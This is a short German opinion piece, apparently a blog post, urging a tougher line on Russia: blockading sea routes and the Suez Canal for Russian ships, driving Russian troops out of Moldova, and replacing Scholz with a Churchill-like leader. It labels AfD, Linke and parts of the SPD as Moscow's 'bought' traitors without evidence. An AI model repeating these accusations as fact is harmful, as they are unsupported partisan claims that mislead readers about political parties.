Da AfD, Linke (Interessenvertreter Moskaus sind - als „Verräter“ -  in der Grafik nicht grundlos unter der Russland-Flagge verborgen) - und Teile der so wankelmütigen wie völlig zersplittert, also plan- und strategielos anmutenden, übrigens auch zerfallenden SPD[¹] - Russland unterstützen (ergo als „gekauft“ gelten müssen) ist wohl ein „Change“ notwendig. Auch ist der stille Olaf Scholz alles andere als ein Winston Churchill - und so einen bräuchte Deutschland jetzt: Einen, der die „Deutschen“(²) und Europa mitnimmt und dazu bereit ist, bezüglich rechtspopulistischer Querulanten - Viktor Orban - unangenehme Entscheidungen zu treffen.

Und wo bleibt eigentlich die Androhung an Moskau, die Durchfahrt zwischen Ost- und Nordsee, aber auch vom Schwarzen ins Mittelmeer (und visa versa) oder schon den Suez-Kanal für russische Schiffe oder solche mit Ziel- oder Abgangshäfen in Russland zu sperren? Die Russen machen genau das - durch höchst offensichtliche Stellvertreter - im Roten Meer. Und die Russen haben aggressiv Verträge - das Abkommen von Minsk - gebrochen. Auch wäre eine Vertreibung der Russischen Armee aus Moldawien (alternativ deren militärischer Einschluss und Vernichtung) - oder deren ernsthafte Androhung - eine Option.

¹) Es gibt - außer dem Einfluss von „Gerhard Schröder und also Russland aus niedrigem pekunärem Interesse immer noch nahestehenden Lobbyisten“ in der SPD - sonst keine, einer sachlichen Beurteilung standhaltende Erklärung dafür, warum Scholz die Taurus nicht liefern will. Kanzler Scholz gibt gar keine.
²) Wer in Deutschland wohnt, nicht in wirklich schwer wiegender Weise die Gesetze verletzt, keinen  fremden und aggressiven Ideologien nachjagt; anerkennt, das Religion absolute Privatsache ist und eigentlich nichts anderes als einen gutes Job, hier „zu Hause sein“, ein gutes und friedliches Leben nebst netten Nachbarn haben will - gilt mir als „deutsch“.